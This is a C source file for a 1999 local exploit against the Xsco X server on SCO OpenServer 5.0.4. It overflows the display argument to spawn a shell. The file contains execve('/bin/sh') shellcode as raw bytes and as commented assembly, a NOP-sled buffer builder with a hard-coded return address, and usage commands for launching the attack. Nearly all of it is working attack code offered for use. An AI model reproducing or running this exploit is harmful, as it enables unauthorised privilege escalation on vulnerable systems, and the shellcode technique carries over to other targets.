/*
 *
 * Offset: Xsco (SCO OpenServer 5.0.4)
 * 0 -> from gdb
 * 50 - 100 -> from shell
 *
 * Usage:
 * $ cc xserverx.c -o xserverx
 * $ /usr/bin/X11/Xsco :`xserverx 80`
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 23/6/99)
 *
 * <http://members.tripod.com/~ochodedos>; - <doble@iname.com>;
 *
 */


#include <stdlib.h>
#include <stdio.h>

char hell[]=
  "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
  char hell[]=
  "\xeb\x1b" // start: jmp uno
  "\x5e" // dos: popl %esi
  "\x31\xdb" // xorl %ebx,%ebx
  "\x89\x5e\x07" // movb %bl,0x7(%esi)
  "\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
  "\x88\x5e\x11" // movb %bl,0x11(%esi)
  "\x31\xc0" // xorl %eax,%eax
  "\xb0\x3b" // movb $0x3b,%al
  "\x8d\x7e\x07" // leal 0x07(%esi),%edi
  "\x89\xf9" // movl %edi,%ecx
  "\x53" // pushl %ebx
  "\x51" // pushl %ecx
  "\x56" // pushl %esi
  "\x56" // pushl %esi
  "\xeb\x10" // jmp execve
  "\xe8\xe0\xff\xff\xff" // uno: call dos
  "/bin/sh"
  "\xaa\xaa\xaa\xaa"
  "\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0
*/


#define OFF 0x80478ff   // SCO OpenServer 5.0.4
#define ALINEA 2
#define LEN 200


int main(int argc, char *argv[])
{

  int offset=0;
  char buf[LEN];
  int i;

  if(argc < 2)
    {
      printf("Usage: xserverx <offset>\n");
      exit(0);
    }
  else
    {
      offset=atoi(argv[1]);
    }

  memset(buf,0x90,LEN);
  memcpy(buf+80,hell,strlen(hell));
  for(i=140+ALINEA;i<LEN-4;i+=4)
    *(int *)&buf[i]=OFF+offset;

  for(i=0;i<LEN;i++)
    putchar(buf[i]);

  exit(0);
}